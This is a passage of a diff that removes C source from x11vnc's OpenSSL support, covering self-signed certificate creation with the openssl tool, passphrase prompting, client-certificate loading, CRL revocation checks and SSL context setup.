-static int certret_fd = -1;
-static mode_t omode;
-char *certret_str = NULL;
-
-static char *dhret = NULL;
-static int dhret_fd = -1;
-char *dhret_str = NULL;
-char *new_dh_params = NULL;
-
-void raw_xfer(int csock, int s_in, int s_out);
-
-/* openssl(1) pem related functions: */
-char *get_saved_pem(char *string, int create);
-char *find_openssl_bin(void);
-char *get_ssl_verify_file(char *str_in);
-char *create_tmp_pem(char *path, int prompt);
-
-static char *get_input(char *tag, char **in);
-
-char *get_saved_pem(char *save, int create) {
- char *s = NULL, *path, *cdir, *tmp;
- int prompt = 0, len;
- struct stat sbuf;
-
- if (! save) {
- rfbLog("get_saved_pem: save string is null.\n");
- clean_up_exit(1);
- }
-
- if (strstr(save, "SAVE_PROMPT") == save) {
- prompt = 1;
- s = save + strlen("SAVE_PROMPT");
- } else if (strstr(save, "SAVE_NOPROMPT") == save) {
- set_env("GENCERT_NOPROMPT", "1");
- s = save + strlen("SAVE_NOPROMPT");
- } else if (strstr(save, "SAVE") == save) {
- s = save + strlen("SAVE");
- } else {
- rfbLog("get_saved_pem: invalid save string: %s\n", save);
- clean_up_exit(1);
- }
- if (strchr(s, '/')) {
- rfbLog("get_saved_pem: invalid save string: %s\n", s);
- clean_up_exit(1);
- }
-
-
- cdir = get_Cert_dir(NULL, &tmp);
- if (! cdir || ! tmp) {
- rfbLog("get_saved_pem: could not find Cert dir.\n");
- clean_up_exit(1);
- }
-
- len = strlen(cdir) + strlen("/server.pem") + strlen(s) + 1;
-
- path = (char *) malloc(len);
- sprintf(path, "%s/server%s.pem", cdir, s);
-
- if (stat(path, &sbuf) != 0) {
- char *new_name = NULL;
- if (create) {
- if (inetd || opts_bg) {
- set_env("GENCERT_NOPROMPT", "1");
- }
- new_name = create_tmp_pem(path, prompt);
- if (!getenv("X11VNC_SSL_NO_PASSPHRASE") && !inetd && !opts_bg) {
- sslEncKey(new_name, 0);
- }
- }
- return new_name;
- }
-
- if (! quiet) {
- char line[1024];
- int on = 0;
- FILE *in = fopen(path, "r");
- if (in != NULL) {
- rfbLog("\n");
- rfbLog("Using SSL Certificate:\n");
- fprintf(stderr, "\n");
- while (fgets(line, 1024, in) != NULL) {
- if (strstr(line, "BEGIN CERTIFICATE")) {
- on = 1;
- }
- if (on) {
- fprintf(stderr, "%s", line);
- }
- if (strstr(line, "END CERTIFICATE")) {
- on = 0;
- }
- if (strstr(line, "PRIVATE KEY")) {
- on = 0;
- }
- }
- fprintf(stderr, "\n");
- fclose(in);
- }
- }
- return strdup(path);
-}
-
-static char *get_input(char *tag, char **in) {
- char line[1024], *str;
-
- if (! tag || ! in || ! *in) {
- return NULL;
- }
-
- fprintf(stderr, "%s:\n [%s] ", tag, *in);
- if (fgets(line, 1024, stdin) == NULL) {
- rfbLog("could not read stdin!\n");
- rfbLogPerror("fgets");
- clean_up_exit(1);
- }
- if ((str = strrchr(line, '\n')) != NULL) {
- *str = '\0';
- }
- str = lblanks(line);
- if (!strcmp(str, "")) {
- return *in;
- } else {
- return strdup(line);
- }
-}
-
-char *find_openssl_bin(void) {
- char *path, *exe, *p, *gp;
- struct stat sbuf;
- int found_openssl = 0;
- char extra[] = ":/usr/bin:/bin:/usr/sbin:/usr/local/bin"
- ":/usr/local/sbin:/usr/sfw/bin";
-
- gp = getenv("PATH");
- if (! gp) {
- fprintf(stderr, "could not find openssl(1) program in PATH. (null)\n");
- return NULL;
- }
-
- path = (char *) malloc(strlen(gp) + strlen(extra) + 1);
- strcpy(path, gp);
- strcat(path, extra);
-
- /* find openssl binary: */
- exe = (char *) malloc(strlen(path) + strlen("/openssl") + 1);
- p = strtok(path, ":");
-
- while (p) {
- sprintf(exe, "%s/openssl", p);
- if (stat(exe, &sbuf) == 0) {
- if (! S_ISDIR(sbuf.st_mode)) {
- found_openssl = 1;
- break;
- }
- }
- p = strtok(NULL, ":");
- }
- free(path);
-
- if (! found_openssl) {
- fprintf(stderr, "could not find openssl(1) program in PATH.\n");
- fprintf(stderr, "PATH=%s\n", gp);
- fprintf(stderr, "(also checked: %s)\n", extra);
- return NULL;
- }
- return exe;
-}
-
-/* uses /usr/bin/openssl to create a tmp cert */
-
-char *create_tmp_pem(char *pathin, int prompt) {
- pid_t pid, pidw;
- FILE *in, *out;
- char cnf[] = "/tmp/x11vnc-cnf.XXXXXX";
- char pem[] = "/tmp/x11vnc-pem.XXXXXX";
- char str[8*1024], line[1024], *exe;
- int cnf_fd, pem_fd, status, show_cert = 1;
- char *days;
- char *C, *L, *OU, *O, *CN, *EM;
- char tmpl[] =
-"[ req ]\n"
-"prompt = no\n"
-"default_bits = 2048\n"
-"encrypt_key = yes\n"
-"distinguished_name = req_dn\n"
-"x509_extensions = cert_type\n"
-"\n"
-"[ req_dn ]\n"
-"countryName=%s\n"
-"localityName=%s\n"
-"organizationalUnitName=%s\n"
-"organizationName=%s\n"
-"commonName=%s\n"
-"emailAddress=%s\n"
-"\n"
-"[ cert_type ]\n"
-"nsCertType = server\n"
-;
-
- C = strdup("AU");
- L = strdup(UT.sysname ? UT.sysname : "unknown-os");
- snprintf(line, 1024, "%s-%f", UT.nodename ? UT.nodename :
- "unknown-node", dnow());
- line[1024-1] = '\0';
-
- OU = strdup(line);
- O = strdup("x11vnc");
- if (pathin) {
- snprintf(line, 1024, "x11vnc-SELF-SIGNED-CERT-%d", getpid());
- } else {
- snprintf(line, 1024, "x11vnc-SELF-SIGNED-TEMPORARY-CERT-%d",
- getpid());
- }
- line[1024-1] = '\0';
- CN = strdup(line);
- EM = strdup("x11vnc@server.nowhere");
-
- /* ssl */
- if (no_external_cmds || !cmd_ok("ssl")) {
- rfbLog("create_tmp_pem: cannot run external commands.\n");
- return NULL;
- }
-
- rfbLog("\n");
- if (pathin) {
- rfbLog("Creating a self-signed PEM certificate...\n");
- } else {
- rfbLog("Creating a temporary, self-signed PEM certificate...\n");
- }
-
- rfbLog("\n");
- rfbLog("This will NOT prevent Man-In-The-Middle attacks UNLESS you\n");
- rfbLog("get the certificate information to the VNC viewers SSL\n");
- rfbLog("tunnel configuration or you take the extra steps to sign it\n");
- rfbLog("with a CA key. However, it will prevent passive network\n");
- rfbLog("sniffing.\n");
- rfbLog("\n");
- rfbLog("The cert inside -----BEGIN CERTIFICATE-----\n");
- rfbLog(" ....\n");
- rfbLog(" -----END CERTIFICATE-----\n");
- rfbLog("printed below may be used on the VNC viewer-side to\n");
- rfbLog("authenticate this server for this session. See the -ssl\n");
- rfbLog("help output and the FAQ for how to create a permanent\n");
- rfbLog("server certificate.\n");
- rfbLog("\n");
-
- exe = find_openssl_bin();
- if (! exe) {
- return NULL;
- }
-
- /* create template file with our made up stuff: */
- if (prompt) {
- fprintf(stderr, "\nReply to the following prompts to set"
- " your Certificate parameters.\n");
- fprintf(stderr, "(press Enter to accept the default in [...], "
- "or type in the value you want)\n\n");
- C = get_input("CountryName", &C);
- L = get_input("LocalityName", &L);
- OU = get_input("OrganizationalUnitName", &OU);
- O = get_input("OrganizationalName", &O);
- CN = get_input("CommonName", &CN);
- EM = get_input("EmailAddress", &EM);
- }
- sprintf(str, tmpl, C, L, OU, O, CN, EM);
-
- cnf_fd = mkstemp(cnf);
- if (cnf_fd < 0) {
- return NULL;
- }
- pem_fd = mkstemp(pem);
- if (pem_fd < 0) {
- close(cnf_fd);
- return NULL;
- }
-
- close(pem_fd);
-
- write(cnf_fd, str, strlen(str));
- close(cnf_fd);
-
- if (pathin) {
- days = "365";
- } else {
- days = "30";
- }
-
-#ifndef FORK_OK
- rfbLog("not compiled with fork(2)\n");
- clean_up_exit(1);
-#else
- /* make RSA key */
- pid = fork();
- if (pid < 0) {
- return NULL;
- } else if (pid == 0) {
- int i;
- for (i=0; i<256; i++) {
- close(i);
- }
- execlp(exe, exe, "req", "-new", "-x509", "-nodes",
- "-days", days, "-config", cnf, "-out", pem,
- "-keyout", pem, (char *)0);
- exit(1);
- }
- pidw = waitpid(pid, &status, 0);
- if (pidw != pid) {
- return NULL;
- }
- if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
- ;
- } else {
- return NULL;
- }
-
-#if DO_DH
- /* make DH parameters */
- pid = fork();
- if (pid < 0) {
- return NULL;
- } else if (pid == 0) {
- int i;
- for (i=0; i<256; i++) {
- close(i);
- }
- /* rather slow at 1024 */
- execlp(exe, exe, "dhparam", "-out", cnf, "512", (char *)0);
- exit(1);
- }
- pidw = waitpid(pid, &status, 0);
- if (pidw != pid) {
- return NULL;
- }
- if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
- ;
- } else {
- return NULL;
- }
-
- /* append result: */
- in = fopen(cnf, "r");
- if (in == NULL) {
- return NULL;
- }
- out = fopen(pem, "a");
- if (out == NULL) {
- fclose(in);
- return NULL;
- }
- while (fgets(line, 1024, in) != NULL) {
- fprintf(out, "%s", line);
- }
- fclose(in);
- fclose(out);
-#endif
-
-#endif /* FORK_OK */
-
- unlink(cnf);
- free(exe);
-
- if (pathin != NULL) {
- char *q, *pathcrt = strdup(pathin);
- FILE *crt = NULL;
- int on = 0;
-
- q = strrchr(pathcrt, '/');
- if (q) {
- q = strstr(q, ".pem");
- if (q) {
- *(q+1) = 'c';
- *(q+2) = 'r';
- *(q+3) = 't';
- crt = fopen(pathcrt, "w");
- }
- }
- if (crt == NULL) {
- rfbLog("could not open: %s\n", pathcrt);
- rfbLogPerror("fopen");
- return NULL;
- }
-
- out = fopen(pathin, "w");
- chmod(pathin, 0600);
- if (out == NULL) {
- rfbLog("could not open: %s\n", pathin);
- rfbLogPerror("fopen");
- fclose(crt);
- return NULL;
- }
-
- in = fopen(pem, "r");
- if (in == NULL) {
- rfbLog("could not open: %s\n", pem);
- rfbLogPerror("fopen");
- fclose(out);
- fclose(crt);
- unlink(pathin);
- unlink(pathcrt);
- return NULL;
- }
- while (fgets(line, 1024, in) != NULL) {
- if (strstr(line, "BEGIN CERTIFICATE")) {
- on = 1;
- }
- fprintf(out, "%s", line);
- if (on) {
- fprintf(crt, "%s", line);
- if (!quiet) {
- fprintf(stderr, "%s", line);
- }
- }
- if (strstr(line, "END CERTIFICATE")) {
- on = 0;
- }
- if (strstr(line, "PRIVATE KEY")) {
- on = 0;
- }
- }
- fclose(in);
- fclose(out);
- fclose(crt);
- }
-
- if (show_cert) {
- exe = find_openssl_bin();
- if (!exe) {
- exe = strdup("openssl");
- }
- if (strlen(pem) + strlen(exe) < 4000) {
- char cmd[5000];
- if (inetd) {
- sprintf(cmd, "%s x509 -text -in '%s' 1>&2", exe, pem);
- } else {
- sprintf(cmd, "%s x509 -text -in '%s'", exe, pem);
- }
- fprintf(stderr, "\n");
- system(cmd);
- fprintf(stderr, "\n");
- }
- free(exe);
- }
-
- if (pathin) {
- unlink(pem);
- return strdup(pathin);
- } else {
- return strdup(pem);
- }
-}
-
-static int appendfile(FILE *out, char *infile) {
- char line[1024];
- FILE *in;
-
- if (! infile) {
- rfbLog("appendfile: null infile.\n");
- return 0;
- }
- if (! out) {
- rfbLog("appendfile: null out handle.\n");
- return 0;
- }
-
- in = fopen(infile, "r");
-
- if (in == NULL) {
- rfbLog("appendfile: %s\n", infile);
- rfbLogPerror("fopen");
- return 0;
- }
-
- while (fgets(line, 1024, in) != NULL) {
- fprintf(out, "%s", line);
- }
- fclose(in);
- return 1;
-}
-
-char *get_ssl_verify_file(char *str_in) {
- char *p, *str, *cdir, *tmp;
- char *tfile, *tfile2;
- FILE *file;
- struct stat sbuf;
- int count = 0, fd;
-
- if (! str_in) {
- rfbLog("get_ssl_verify_file: no filename\n");
- exit(1);
- }
-
- if (stat(str_in, &sbuf) == 0) {
- /* assume he knows what he is doing. */
- return str_in;
- }
-
- cdir = get_Cert_dir(NULL, &tmp);
- if (! cdir || ! tmp) {
- rfbLog("get_ssl_verify_file: invalid cert-dir.\n");
- exit(1);
- }
-
- tfile = (char *) malloc(strlen(tmp) + 1024);
- tfile2 = (char *) malloc(strlen(tmp) + 1024);
-
- sprintf(tfile, "%s/sslverify-tmp-load-%d.crts.XXXXXX", tmp, getpid());
-
- fd = mkstemp(tfile);
- if (fd < 0) {
- rfbLog("get_ssl_verify_file: %s\n", tfile);
- rfbLogPerror("mkstemp");
- exit(1);
- }
- close(fd);
-
- file = fopen(tfile, "w");
- chmod(tfile, 0600);
- if (file == NULL) {
- rfbLog("get_ssl_verify_file: %s\n", tfile);
- rfbLogPerror("fopen");
- exit(1);
- }
-
- str = strdup(str_in);
- p = strtok(str, ",");
-
- while (p) {
- if (!strcmp(p, "CA")) {
- sprintf(tfile2, "%s/CA/cacert.pem", cdir);
- if (! appendfile(file, tfile2)) {
- unlink(tfile);
- exit(1);
- }
- rfbLog("sslverify: loaded %s\n", tfile2);
- count++;
-
- } else if (!strcmp(p, "clients")) {
- DIR *dir;
- struct dirent *dp;
-
- sprintf(tfile2, "%s/clients", cdir);
- dir = opendir(tfile2);
- if (! dir) {
- rfbLog("get_ssl_verify_file: %s\n", tfile2);
- rfbLogPerror("opendir");
- unlink(tfile);
- exit(1);
- }
- while ( (dp = readdir(dir)) != NULL) {
- char *n = dp->d_name;
- char *q = strstr(n, ".crt");
-
- if (! q || strlen(q) != strlen(".crt")) {
- continue;
- }
- if (strlen(n) > 512) {
- continue;
- }
-
- sprintf(tfile2, "%s/clients/%s", cdir, n);
- if (! appendfile(file, tfile2)) {
- unlink(tfile);
- exit(1);
- }
- rfbLog("sslverify: loaded %s\n",
- tfile2);
- count++;
- }
- closedir(dir);
-
- } else {
- if (strlen(p) > 512) {
- unlink(tfile);
- exit(1);
- }
- sprintf(tfile2, "%s/clients/%s.crt", cdir, p);
- if (stat(tfile2, &sbuf) != 0) {
- sprintf(tfile2, "%s/clients/%s", cdir, p);
- }
- if (! appendfile(file, tfile2)) {
- unlink(tfile);
- exit(1);
- }
- rfbLog("sslverify: loaded %s\n", tfile2);
- count++;
- }
- p = strtok(NULL, ",");
- }
- fclose(file);
- free(tfile2);
- free(str);
-
- rfbLog("sslverify: using %d client certs in\n", count);
- rfbLog("sslverify: %s\n", tfile);
-
- return tfile;
-}
-
-int openssl_present(void);
-void openssl_init(int isclient);
-void openssl_port(int restart);
-void https_port(int restart);
-void check_openssl(void);
-void check_https(void);
-void ssl_helper_pid(pid_t pid, int sock);
-void accept_openssl(int mode, int presock);
-
-static void lose_ram(void);
-#define ABSIZE 16384
-
-static int vencrypt_selected = 0;
-static int anontls_selected = 0;
-
-/* to test no openssl libssl */
-#if 0
-#undef LIBVNCSERVER_HAVE_LIBSSL
-#define LIBVNCSERVER_HAVE_LIBSSL 0
-#endif
-
-#if !LIBVNCSERVER_HAVE_LIBSSL
-
-static void badnews(char *name) {
- use_openssl = 0;
- use_stunnel = 0;
- rfbLog("** %s: not compiled with libssl OpenSSL support **\n", name ? name : "???");
- clean_up_exit(1);
-}
-
-int openssl_present(void) {return 0;}
-void openssl_init(int isclient) {badnews("openssl_init");}
-
-#define SSL_ERROR_NONE 0
-
-static int ssl_init(int s_in, int s_out, int skip_vnc_tls, double last_https) {
- if (enc_str != NULL) {
- return 1;
- }
- badnews("ssl_init");
- return 0;
-}
-
-static void ssl_xfer(int csock, int s_in, int s_out, int is_https) {
- if (enc_str != NULL && !strcmp(enc_str, "none")) {
- usleep(250*1000);
- rfbLog("doing '-enc none' raw transfer (no encryption)\n");
- raw_xfer(csock, s_in, s_out);
- } else {
- badnews("ssl_xfer");
- }
-}
-
-#else /* LIBVNCSERVER_HAVE_LIBSSL */
-
-/*
- * This is because on older systems both zlib.h and ssl.h define
- * 'free_func' nothing we do below (currently) induces an external
- * dependency on 'free_func'.
- */
-#define free_func my_jolly_little_free_func
-
-#include <openssl/ssl.h>
-#include <openssl/err.h>
-#include <openssl/rand.h>
-
-static SSL_CTX *ctx = NULL;
-static RSA *rsa_512 = NULL;
-static RSA *rsa_1024 = NULL;
-static SSL *ssl = NULL;
-static X509_STORE *revocation_store = NULL;
-
-
-static void init_prng(void);
-static void sslerrexit(void);
-static int ssl_init(int s_in, int s_out, int skip_vnc_tls, double last_https);
-static void ssl_xfer(int csock, int s_in, int s_out, int is_https);
-
-#ifndef FORK_OK
-void openssl_init(int isclient) {
- rfbLog("openssl_init: fork is not supported. cannot create"
- " ssl helper process.\n");
- clean_up_exit(1);
-}
-int openssl_present(void) {return 0;}
-
-#else
-
-int openssl_present(void) {return 1;}
-
-static void sslerrexit(void) {
- unsigned long err = ERR_get_error();
-
- if (err) {
- char str[256];
- ERR_error_string(err, str);
- fprintf(stderr, "ssl error: %s\n", str);
- }
- clean_up_exit(1);
-}
-
-static int pem_passwd_callback(char *buf, int size, int rwflag,
- void *userdata) {
- char *q, line[1024];
-
- if (! buf) {
- exit(1);
- }
-
- fprintf(stderr, "\nA passphrase is needed to unlock an OpenSSL "
- "private key (PEM file).\n");
- fprintf(stderr, "Enter passphrase> ");
- system("stty -echo");
- if(fgets(line, 1024, stdin) == NULL) {
- fprintf(stdout, "\n");
- system("stty echo");
- exit(1);
- }
- system("stty echo");
- fprintf(stdout, "\n\n");
- q = strrchr(line, '\n');
- if (q) {
- *q = '\0';
- }
- line[1024 - 1] = '\0';
- strncpy(buf, line, size);
- buf[size - 1] = '\0';
-
- if (0) rwflag = 0; /* compiler warning. */
- if (0) userdata = 0; /* compiler warning. */
-
- return strlen(buf);
-}
-
-/* based on mod_ssl */
-static int crl_callback(X509_STORE_CTX *callback_ctx) {
- X509_STORE_CTX store_ctx;
- X509_OBJECT obj;
- X509_NAME *subject;
- X509_NAME *issuer;
- X509 *xs;
- X509_CRL *crl;
- X509_REVOKED *revoked;
- EVP_PKEY *pubkey;
- long serial;
- BIO *bio;
- int i, n, rc;
- char *cp, *cp2;
- ASN1_TIME *t;
-
- /* Determine certificate ingredients in advance */
- xs = X509_STORE_CTX_get_current_cert(callback_ctx);
- subject = X509_get_subject_name(xs);
- issuer = X509_get_issuer_name(xs);
-
- /* Try to retrieve a CRL corresponding to the _subject_ of
- * the current certificate in order to verify it's integrity. */
- memset((char *)&obj, 0, sizeof(obj));
- X509_STORE_CTX_init(&store_ctx, revocation_store, NULL, NULL);
- rc=X509_STORE_get_by_subject(&store_ctx, X509_LU_CRL, subject, &obj);
- X509_STORE_CTX_cleanup(&store_ctx);
- crl=obj.data.crl;
-
- if(rc>0 && crl) {
- /* Log information about CRL
- * (A little bit complicated because of ASN.1 and BIOs...) */
- bio=BIO_new(BIO_s_mem());
- BIO_printf(bio, "lastUpdate: ");
- ASN1_UTCTIME_print(bio, X509_CRL_get_lastUpdate(crl));
- BIO_printf(bio, ", nextUpdate: ");
- ASN1_UTCTIME_print(bio, X509_CRL_get_nextUpdate(crl));
- n=BIO_pending(bio);
- cp=malloc(n+1);
- n=BIO_read(bio, cp, n);
- cp[n]='\0';
- BIO_free(bio);
- cp2=X509_NAME_oneline(subject, NULL, 0);
- rfbLog("CA CRL: Issuer: %s, %s\n", cp2, cp);
- OPENSSL_free(cp2);
- free(cp);
-
- /* Verify the signature on this CRL */
- pubkey=X509_get_pubkey(xs);
- if(X509_CRL_verify(crl, pubkey)<=0) {
- rfbLog("Invalid signature on CRL\n");
- X509_STORE_CTX_set_error(callback_ctx,
- X509_V_ERR_CRL_SIGNATURE_FAILURE);
- X509_OBJECT_free_contents(&obj);
- if(pubkey)
- EVP_PKEY_free(pubkey);
- return 0; /* Reject connection */
- }
- if(pubkey)
- EVP_PKEY_free(pubkey);
-
- /* Check date of CRL to make sure it's not expired */
- t=X509_CRL_get_nextUpdate(crl);
- if(!t) {
- rfbLog("Found CRL has invalid nextUpdate field\n");
- X509_STORE_CTX_set_error(callback_ctx,
- X509_V_ERR_ERROR_IN_CRL_NEXT_UPDATE_FIELD);
- X509_OBJECT_free_contents(&obj);
- return 0; /* Reject connection */
- }
- if(X509_cmp_current_time(t)<0) {
- rfbLog("Found CRL is expired - "
- "revoking all certificates until you get updated CRL\n");
- X509_STORE_CTX_set_error(callback_ctx, X509_V_ERR_CRL_HAS_EXPIRED);
- X509_OBJECT_free_contents(&obj);
- return 0; /* Reject connection */
- }
- X509_OBJECT_free_contents(&obj);
- }
-
- /* Try to retrieve a CRL corresponding to the _issuer_ of
- * the current certificate in order to check for revocation. */
- memset((char *)&obj, 0, sizeof(obj));
- X509_STORE_CTX_init(&store_ctx, revocation_store, NULL, NULL);
- rc=X509_STORE_get_by_subject(&store_ctx, X509_LU_CRL, issuer, &obj);
- X509_STORE_CTX_cleanup(&store_ctx);
- crl=obj.data.crl;
-
- if(rc>0 && crl) {
- /* Check if the current certificate is revoked by this CRL */
- n=sk_X509_REVOKED_num(X509_CRL_get_REVOKED(crl));
- for(i=0; i<n; i++) {
- revoked=sk_X509_REVOKED_value(X509_CRL_get_REVOKED(crl), i);
- if(ASN1_INTEGER_cmp(revoked->serialNumber,
- X509_get_serialNumber(xs)) == 0) {
- serial=ASN1_INTEGER_get(revoked->serialNumber);
- cp=X509_NAME_oneline(issuer, NULL, 0);
- rfbLog("Certificate with serial %ld (0x%lX) "
- "revoked per CRL from issuer %s\n", serial, serial, cp);
- OPENSSL_free(cp);
- X509_STORE_CTX_set_error(callback_ctx, X509_V_ERR_CERT_REVOKED);
- X509_OBJECT_free_contents(&obj);
- return 0; /* Reject connection */
- }
- }
- X509_OBJECT_free_contents(&obj);
- }
-
- return 1; /* Accept connection */
-}
-
-static int verify_callback(int ok, X509_STORE_CTX *callback_ctx) {
- if (!ssl_verify) {
- rfbLog("CRL_check: skipped.\n");
- return ok;
- }
- if (!ssl_crl) {
- rfbLog("CRL_check: skipped.\n");
- return ok;
- }
- if (!ok) {
- rfbLog("CRL_check: client cert is already rejected.\n");
- return ok;
- }
- if (revocation_store) {
- if (crl_callback(callback_ctx)) {
- rfbLog("CRL_check: succeeded.\n");
- return 1;
- } else {
- rfbLog("CRL_check: did not pass.\n");
- return 0;
- }
- }
- /* NOTREACHED */
- return 1;
-}
-
-#define rfbSecTypeAnonTls 18
-#define rfbSecTypeVencrypt 19
-
-#define rfbVencryptPlain 256
-#define rfbVencryptTlsNone 257
-#define rfbVencryptTlsVnc 258
-#define rfbVencryptTlsPlain 259
-#define rfbVencryptX509None 260
-#define rfbVencryptX509Vnc 261
-#define rfbVencryptX509Plain 262
-
-static int ssl_client_mode = 0;
-
-static int switch_to_anon_dh(void);
-
-void openssl_init(int isclient) {
- int db = 0, tmp_pem = 0, do_dh;
- FILE *in;
- double ds;
- long mode;
- static int first = 1;
-
- do_dh = DO_DH;
-
- if (enc_str != NULL) {
- if (first) {
- init_prng();
- }
- first = 0;
- return;
- }
-
- if (! quiet) {
- rfbLog("\n");
- rfbLog("Initializing SSL (%s connect mode).\n", isclient ? "client":"server");
- }
- if (first) {
- if (db) fprintf(stderr, "\nSSL_load_error_strings()\n");
-
- SSL_load_error_strings();
-
- if (db) fprintf(stderr, "SSL_library_init()\n");
-
- SSL_library_init();
-
- if (db) fprintf(stderr, "init_prng()\n");
-
- init_prng();
-
- first = 0;
- }
-
- if (isclient) {
- ssl_client_mode = 1;
- } else {
- ssl_client_mode = 0;
- }
-
- if (ssl_client_mode) {
- if (db) fprintf(stderr, "SSLv23_client_method()\n");
- ctx = SSL_CTX_new( SSLv23_client_method() );
- } else {
- if (db) fprintf(stderr, "SSLv23_server_method()\n");
- ctx = SSL_CTX_new( SSLv23_server_method() );
- }
-
- if (ctx == NULL) {
- rfbLog("openssl_init: SSL_CTX_new failed.\n");
- sslerrexit();
- }
-
- ds = dnow();
- rsa_512 = RSA_generate_key(512, RSA_F4, NULL, NULL);
- if (rsa_512 == NULL) {
- rfbLog("openssl_init: RSA_generate_key(512) failed.\n");
- sslerrexit();
- }
-
- rfbLog("created 512 bit temporary RSA key: %.3fs\n", dnow() - ds);
-
- ds = dnow();
- rsa_1024 = RSA_generate_key(1024, RSA_F4, NULL, NULL);
- if (rsa_1024 == NULL) {
- rfbLog("openssl_init: RSA_generate_key(1024) failed.\n");
- sslerrexit();
- }
-
- rfbLog("created 1024 bit temporary RSA key: %.3fs\n", dnow() - ds);
-
- if (db) fprintf(stderr, "SSL_CTX_set_tmp_rsa()\n");
-
- if (! SSL_CTX_set_tmp_rsa(ctx, rsa_1024)) {
- rfbLog("openssl_init: SSL_CTX_set_tmp_rsa(1024) failed.\n");
- sslerrexit();
- }
-
- mode = 0;
- mode |= SSL_MODE_ENABLE_PARTIAL_WRITE;
- mode |= SSL_MODE_ACCEPT_MOVING_WRITE_BUFFER;
- SSL_CTX_set_mode(ctx, mode);
-
-#define ssl_cache 0
-#if ssl_cache
- SSL_CTX_set_session_cache_mode(ctx, SSL_SESS_CACHE_BOTH);
- SSL_CTX_set_timeout(ctx, 300);
-#else
- SSL_CTX_set_session_cache_mode(ctx, SSL_SESS_CACHE_OFF);
- SSL_CTX_set_timeout(ctx, 1);
-#endif
-
- ds = dnow();
- if (! openssl_pem) {
- openssl_pem = create_tmp_pem(NULL, 0);
- if (! openssl_pem) {
- rfbLog("openssl_init: could not create temporary,"
- " self-signed PEM.\n");
- clean_up_exit(1);
- }
- tmp_pem = 1;
-
- } else if (!strcmp(openssl_pem, "ANON")) {
- if (ssl_verify) {
- rfbLog("openssl_init: Anonymous Diffie-Hellman cannot"
- " be used in -sslverify mode.\n");
- clean_up_exit(1);
- }
- if (ssl_crl) {
- rfbLog("openssl_init: Anonymous Diffie-Hellman cannot"
- " be used in -sslCRL mode.\n");
- clean_up_exit(1);
- }
- /* n.b. new ctx */
- if (!switch_to_anon_dh()) {
- rfbLog("openssl_init: Anonymous Diffie-Hellman setup"
- " failed.\n");
- clean_up_exit(1);
- }
- } else if (strstr(openssl_pem, "SAVE") == openssl_pem) {
- openssl_pem = get_saved_pem(openssl_pem, 1);
- if (! openssl_pem) {
- rfbLog("openssl_init: could not create or open"
- " saved PEM: %s\n", openssl_pem);
- clean_up_exit(1);
- }
- tmp_pem = 0;
- }
-
- rfbLog("using PEM %s %.3fs\n", openssl_pem, dnow() - ds);
-
- SSL_CTX_set_default_passwd_cb(ctx, pem_passwd_callback);
-
- if (do_dh) {
- DH *dh;
- BIO *bio;
-
- ds = dnow();
- in = fopen(openssl_pem, "r");
- if (in == NULL) {
- rfbLogPerror("fopen");
- clean_up_exit(1);
- }
- bio = BIO_new_fp(in, BIO_CLOSE|BIO_FP_TEXT);
- if (! bio) {
- rfbLog("openssl_init: BIO_new_fp() failed.\n");
- sslerrexit();
- }
- dh = PEM_read_bio_DHparams(bio, NULL, NULL, NULL);
- if (dh == NULL) {
- rfbLog("openssl_init: PEM_read_bio_DHparams() failed.\n");
- BIO_free(bio);
- sslerrexit();
- }
- BIO_free(bio);
- SSL_CTX_set_tmp_dh(ctx, dh);
- rfbLog("loaded Diffie Hellman %d bits, %.3fs\n",
- 8*DH_size(dh), dnow()-ds);
- DH_free(dh);
- }
-
- if (strcmp(openssl_pem, "ANON")) {
- if (! SSL_CTX_use_certificate_chain_file(ctx, openssl_pem)) {
- rfbLog("openssl_init: SSL_CTX_use_certificate_chain_file() failed.\n");
- sslerrexit();
- }
- if (! SSL_CTX_use_RSAPrivateKey_file(ctx, openssl_pem,
- SSL_FILETYPE_PEM)) {
- rfbLog("openssl_init: SSL_CTX_set_tmp_rsa(1024) failed.\n");
- sslerrexit();
- }
- if (! SSL_CTX_check_private_key(ctx)) {
- rfbLog("openssl_init: SSL_CTX_set_tmp_rsa(1024) failed.\n");
- sslerrexit();
- }
- }
-
- if (tmp_pem && ! getenv("X11VNC_KEEP_TMP_PEM")) {
- if (getenv("X11VNC_SHOW_TMP_PEM")) {
- FILE *in = fopen(openssl_pem, "r");
- if (in != NULL) {
- char line[128];
- fprintf(stderr, "\n");
- while (fgets(line, 128, in) != NULL) {
- fprintf(stderr, "%s", line);
- }
- fprintf(stderr, "\n");
- fclose(in);
- }
- }
- unlink(openssl_pem);
- free(openssl_pem);
- openssl_pem = NULL;
- }
-
- if (ssl_crl) {
- struct stat sbuf;
- X509_LOOKUP *lookup;
-
- if (stat(ssl_crl, &sbuf) != 0) {
- rfbLog("openssl_init: -sslCRL does not exist %s.\n",
- ssl_crl ? ssl_crl : "null");
- rfbLogPerror("stat");
- clean_up_exit(1);
- }
-
- revocation_store = X509_STORE_new();
- if (!revocation_store) {
- rfbLog("openssl_init: X509_STORE_new failed.\n");
- sslerrexit();
- }
- if (! S_ISDIR(sbuf.st_mode)) {
- lookup = X509_STORE_add_lookup(revocation_store, X509_LOOKUP_file());
- if (!lookup) {
- rfbLog("openssl_init: X509_STORE_add_lookup failed.\n");
- sslerrexit();
- }
- if (!X509_LOOKUP_load_file(lookup, ssl_crl, X509_FILETYPE_PEM)) {
- rfbLog("openssl_init: X509_LOOKUP_load_file failed.\n");
- sslerrexit();
- }
- } else {
- lookup = X509_STORE_add_lookup(revocation_store, X509_LOOKUP_hash_dir());
- if (!lookup) {
- rfbLog("openssl_init: X509_STORE_add_lookup failed.\n");
- sslerrexit();
- }
- if (!X509_LOOKUP_add_dir(lookup, ssl_crl, X509_FILETYPE_PEM)) {
- rfbLog("openssl_init: X509_LOOKUP_add_dir failed.\n");
- sslerrexit();
- }
- }
- rfbLog("loaded CRL file: %s\n", ssl_crl);
- }
-
- if (ssl_verify) {
- struct stat sbuf;
- char *file;
- int lvl;
-
- file = get_ssl_verify_file(ssl_verify);
-
- if (!file || stat(file, &sbuf) != 0) {
- rfbLog("openssl_init: -sslverify does not exist %s.\n",
- file ? file : "null");
- rfbLogPerror("stat");
- clean_up_exit(1);
- }
- if (! S_ISDIR(sbuf.st_mode)) {
- if (! SSL_CTX_load_verify_locations(ctx, file, NULL)) {
- rfbLog("openssl_init: SSL_CTX_load_verify_"
- "locations() failed.\n");
- sslerrexit();
- }
- } else {
- if (! SSL_CTX_load_verify_locations(ctx, NULL, file)) {
